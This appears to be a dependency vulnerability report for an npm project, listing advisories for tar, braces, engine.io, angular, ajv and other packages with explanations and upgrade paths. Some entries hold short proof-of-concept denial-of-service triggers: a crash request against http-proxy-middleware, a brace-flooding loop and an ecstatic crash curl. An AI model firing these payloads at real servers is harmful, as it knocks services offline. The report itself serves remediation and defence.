Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade cross-spawn to version 6.0.6, 7.0.5 or higher.
References
high severity
- Vulnerable module: http-proxy-middleware
- Introduced through: webpack-dev-server@1.16.5
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack-dev-server@1.16.5 › http-proxy-middleware@0.17.4Remediation: Upgrade to webpack-dev-server@4.0.0.
Overview
Affected versions of this package are vulnerable to Denial of Service (DoS) due to an UnhandledPromiseRejection error thrown by micromatch. An attacker could kill the Node.js process and crash the server by making requests to certain paths.
PoC
- Run a server like this:
const express = require('express')
const { createProxyMiddleware } = require('http-proxy-middleware')
const frontend = express()
frontend.use(createProxyMiddleware({
target: 'http://localhost:3031',
pathFilter: '*'
}))
frontend.listen(3030)
const backend = express()
backend.use((req, res) => res.send('ok'))
backend.listen(3031)
curl 'localhost:3030//x@x'
Expected: Response with payload ok
Actual: Server crashes with error TypeError: Expected input to be a string (from micromatch)
On v1 and v2 of http-proxy-middleware, it's also possible to exclude pathFilter and cause the server to crash with TypeError: Cannot read properties of null (reading 'indexOf') (from matchSingleStringPath).
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade http-proxy-middleware to version 2.0.7, 3.0.3 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: node-sass@4.14.1
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2Remediation: Upgrade to node-sass@5.0.0.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Arbitrary File Write. node-tar aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created.
This logic was insufficient when extracting tar files that contained both a directory and a symlink with the same name as the directory, where the symlink and directory names in the archive entry used backslashes as a path separator on posix systems. The cache checking logic used both \ and / characters as path separators. However, \ is a valid filename character on posix systems.
By first creating a directory, and then replacing that directory with a symlink, it is possible to bypass node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location. This can lead to extracting arbitrary files into that location, thus allowing arbitrary file creation and overwrite.
Additionally, a similar confusion could arise on case-insensitive filesystems. If a tar archive contained a directory at FOO, followed by a symbolic link named foo, then on case-insensitive file systems, the creation of the symbolic link would remove the directory from the filesystem, but not from the internal directory cache, as it would not be treated as a cache hit. A subsequent file entry within the FOO directory would then be placed in the target of the symbolic link, thinking that the directory had already been created.
Remediation
Upgrade tar to version 6.1.7, 5.0.8, 4.4.16 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: node-sass@4.14.1
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2Remediation: Upgrade to node-sass@5.0.0.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Arbitrary File Write. node-tar aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created.
This logic is insufficient when extracting tar files that contain two directories and a symlink with names containing unicode values that normalized to the same value. Additionally, on Windows systems, long path portions would resolve to the same file system entities as their 8.3 "short path" counterparts.
A specially crafted tar archive can include directories with two forms of the path that resolve to the same file system entity, followed by a symbolic link with a name in the first form, lastly followed by a file using the second form. This leads to bypassing node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and extracting arbitrary files into that location.
Remediation
Upgrade tar to version 6.1.9, 5.0.10, 4.4.18 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: node-sass@4.14.1
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2Remediation: Upgrade to node-sass@5.0.0.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Arbitrary File Write. node-tar aims to guarantee that any file whose location would be outside of the extraction target directory is not extracted. This is, in part, accomplished by sanitizing absolute paths of entries within the archive, skipping archive entries that contain .. path portions, and resolving the sanitized paths against the extraction target directory.
This logic is insufficient on Windows systems when extracting tar files that contain a path that is not an absolute path, but specify a drive letter different from the extraction target, such as C:some\path. If the drive letter does not match the extraction target, for example D:\extraction\dir, then the result of path.resolve(extractionDirectory, entryPath) resolves against the current working directory on the C: drive, rather than the extraction target directory.
Additionally, a .. portion of the path can occur immediately after the drive letter, such as C:../foo, and is not properly sanitized by the logic that checks for .. within the normalized and split portions of the path.
Note: This only affects users of node-tar on Windows systems.
Remediation
Upgrade tar to version 6.1.9, 5.0.10, 4.4.18 or higher.
References
high severity
- Vulnerable module: open
- Introduced through: webpack-dev-server@1.16.5
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack-dev-server@1.16.5 › open@0.0.5Remediation: Upgrade to webpack-dev-server@2.2.0.
Overview
open is a cross platform package that opens stuff like URLs, files, executables.
Affected versions of this package are vulnerable to Arbitrary Command Injection. Urls are not properly escaped before concatenating them into the command that is opened using exec().
Note: Upgrading open to the last version will prevent this vulnerability but is also likely to have unwanted effects since it now has a very different API.
Remediation
Upgrade open to version 6.0.0 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: node-sass@4.14.1
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2Remediation: Upgrade to node-sass@5.0.0.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Arbitrary File Overwrite. This is due to insufficient symlink protection.
node-tar aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created.
This logic is insufficient when extracting tar files that contain both a directory and a symlink with the same name as the directory. This order of operations results in the directory being created and added to the node-tar directory cache. When a directory is present in the directory cache, subsequent calls to mkdir for that directory are skipped.
However, this is also where node-tar checks for symlinks occur. By first creating a directory, and then replacing that directory with a symlink, it is possible to bypass node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and subsequently extracting arbitrary files into that location.
Remediation
Upgrade tar to version 3.2.3, 4.4.15, 5.0.7, 6.1.2 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: node-sass@4.14.1
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2Remediation: Upgrade to node-sass@5.0.0.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Arbitrary File Overwrite. This is due to insufficient absolute path sanitization.
node-tar aims to prevent extraction of absolute file paths by turning absolute paths into relative paths when the preservePaths flag is not set to true. This is achieved by stripping the absolute path root from any absolute file paths contained in a tar file. For example, the path /home/user/.bashrc would turn into home/user/.bashrc.
This logic is insufficient when file paths contain repeated path roots such as ////home/user/.bashrc. node-tar only strips a single path root from such paths. When given an absolute file path with repeating path roots, the resulting path (e.g. ///home/user/.bashrc) still resolves to an absolute path.
Remediation
Upgrade tar to version 3.2.2, 4.4.14, 5.0.6, 6.1.1 or higher.
References
high severity
- Vulnerable module: ajv
- Introduced through: webpack@2.7.0
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack@2.7.0 › ajv@4.11.8Remediation: Upgrade to webpack@3.11.0.
Overview
ajv is an Another JSON Schema Validator
Affected versions of this package are vulnerable to Prototype Pollution. A carefully crafted JSON schema could be provided that allows execution of other code by prototype pollution. (While untrusted schemas are recommended against, the worst case of an untrusted schema should be a denial of service, not execution of code.)
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade ajv to version 6.12.3 or higher.
References
high severity
- Vulnerable module: engine.io-client
- Introduced through: karma@0.13.5
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › socket.io@1.3.7 › socket.io-client@1.3.7 › engine.io-client@1.5.4Remediation: Upgrade to karma@0.13.10.
Overview
engine.io-client, the client for engine.io and socket.io, disables the core SSL/TLS verification checks by default.
This allows an active attacker, for instance one operating a malicious WiFi, to intercept these encrypted connections using the attacker's spoofed certificate and keys. Doing so compromises the data communicated over this channel, as well as allowing an attacker to impersonate both the server and the client during the live session, sending spoofed data to either side.
Remediation
Update to version 1.6.9 or greater.
If a direct dependency update is not possible, use snyk wizard to patch this vulnerability.
References
high severity
- Vulnerable module: js-yaml
- Introduced through: coveralls@2.13.3
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › coveralls@2.13.3 › js-yaml@3.6.1Remediation: Upgrade to coveralls@3.0.0.
Overview
js-yaml is a human-friendly data serialization language.
Affected versions of this package are vulnerable to Arbitrary Code Execution. When an object with an executable toString() property used as a map key, it will execute that function. This happens only for load(), which should not be used with untrusted data anyway. safeLoad() is not affected because it can't parse functions.
Remediation
Upgrade js-yaml to version 3.13.1 or higher.
References
high severity
- Vulnerable module: angular
- Introduced through: angular@1.5.0
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › angular@1.5.0
Overview
angular is a package that lets you write client-side web applications as if you had a smarter browser. It also lets you use HTML as your template language and lets you extend HTML’s syntax to express your application’s components clearly and succinctly.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). A regular expression used to split the value of the ng-srcset directive is vulnerable to super-linear runtime due to backtracking. With large carefully-crafted input, this can result in catastrophic backtracking and cause a denial of service.
Note:
This package is EOL and will not receive any updates to address this issue. Users should migrate to @angular/core.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
There is no fixed version for angular.
References
high severity
- Vulnerable module: braces
- Introduced through: gulp@3.9.1, karma@0.13.5 and others
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › gulp@3.9.1 › liftoff@2.5.0 › findup-sync@2.0.0 › micromatch@3.1.10 › braces@2.3.2Remediation: Upgrade to gulp@4.0.0.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › chokidar@1.7.0 › readdirp@2.2.1 › micromatch@3.1.10 › braces@2.3.2
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › braces@2.3.2
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack-stream@3.2.0 › webpack@1.15.0 › watchpack@0.2.9 › chokidar@1.7.0 › readdirp@2.2.1 › micromatch@3.1.10 › braces@2.3.2
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › braces@2.3.2
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › braces@2.3.2
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack-dev-server@1.16.5 › http-proxy-middleware@0.17.4 › micromatch@2.3.11 › braces@1.8.5Remediation: Upgrade to webpack-dev-server@4.0.0.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › chokidar@1.7.0 › anymatch@1.3.2 › micromatch@2.3.11 › braces@1.8.5
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack-stream@3.2.0 › webpack@1.15.0 › watchpack@0.2.9 › chokidar@1.7.0 › anymatch@1.3.2 › micromatch@2.3.11 › braces@1.8.5Remediation: Upgrade to webpack-stream@7.0.0.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › expand-braces@0.1.2 › braces@0.1.5
Overview
braces is a Bash-like brace expansion, implemented in JavaScript.
Affected versions of this package are vulnerable to Excessive Platform Resource Consumption within a Loop due improper limitation of the number of characters it can handle, through the parse function. An attacker can cause the application to allocate excessive memory and potentially crash by sending imbalanced braces as input.
PoC
const { braces } = require('micromatch');
console.log("Executing payloads...");
const maxRepeats = 10;
for (let repeats = 1; repeats <= maxRepeats; repeats += 1) {
const payload = '{'.repeat(repeats*90000);
console.log(`Testing with ${repeats} repeats...`);
const startTime = Date.now();
braces(payload);
const endTime = Date.now();
const executionTime = endTime - startTime;
console.log(`Regex executed in ${executionTime / 1000}s.\n`);
}
Remediation
Upgrade braces to version 3.0.3 or higher.
References
high severity
- Vulnerable module: ecstatic
- Introduced through: http-server@0.9.0
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › http-server@0.9.0 › ecstatic@1.4.1Remediation: Upgrade to http-server@0.13.0.
Overview
ecstatic is a simple static file server middleware. Use it with a raw http server, express/connect or on the CLI.
Affected versions of this package are vulnerable to Denial of Service (DoS). It is possible to crash a server using the package due to the way URL params parsing is handled during redirect.
PoC
curl --path-as-is $(echo -e -n "http://127.0.0.1:8080/existing-dir-name?\x0cfoo")
In the PoC the library is trying to redirect /existing-dir-name?\x0cfoo to /existing-dir-name/?\x0cfoo which cause TypeError: The header content contains invalid characters error because of \x0c symbol.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade ecstatic to version 4.1.4 or higher.
References
high severity
- Vulnerable module: engine.io
- Introduced through: karma@0.13.5
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › socket.io@1.3.7 › engine.io@1.5.4Remediation: Upgrade to karma@5.0.8.
Overview
engine.io is a realtime engine behind Socket.IO. It provides the foundation of a bidirectional connection between client and server
Affected versions of this package are vulnerable to Denial of Service (DoS) via a POST request to the long polling transport.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade engine.io to version 3.6.0 or higher.
References
high severity
- Vulnerable module: engine.io
- Introduced through: karma@0.13.5
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › socket.io@1.3.7 › engine.io@1.5.4Remediation: Upgrade to karma@5.0.8.
Overview
engine.io is a realtime engine behind Socket.IO. It provides the foundation of a bidirectional connection between client and server
Affected versions of this package are vulnerable to Denial of Service (DoS). A malicious client could send a specially crafted HTTP request, triggering an uncaught exception and killing the Node.js process.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade engine.io to version 3.6.1, 6.2.1 or higher.
References
high severity
- Vulnerable module: loader-utils
- Introduced through: babel-loader@6.4.1, css-loader@0.9.1 and others
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-loader@6.4.1 › loader-utils@0.2.17Remediation: Upgrade to babel-loader@7.0.0.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › css-loader@0.9.1 › loader-utils@0.2.17Remediation: Upgrade to css-loader@0.26.2.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › file-loader@0.8.5 › loader-utils@0.2.17Remediation: Upgrade to file-loader@0.10.1.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma-webpack@1.8.1 › loader-utils@0.2.17Remediation: Upgrade to karma-webpack@2.0.10.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › ng-annotate-loader@0.1.1 › loader-utils@0.2.17
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › style-loader@0.8.3 › loader-utils@0.2.17Remediation: Upgrade to style-loader@0.13.2.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack@2.7.0 › loader-utils@0.2.17Remediation: Upgrade to webpack@3.0.0.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack-stream@3.2.0 › webpack@1.15.0 › loader-utils@0.2.17Remediation: Upgrade to webpack-stream@4.0.0.
Overview
Affected versions of this package are vulnerable to Prototype Pollution in parseQuery function via the name variable in parseQuery.js. This pollutes the prototype of the object returned by parseQuery and not the global Object prototype (which is the commonly understood definition of Prototype Pollution). Therefore, the actual impact will depend on how applications utilize the returned object and how they filter unwanted keys.
Details
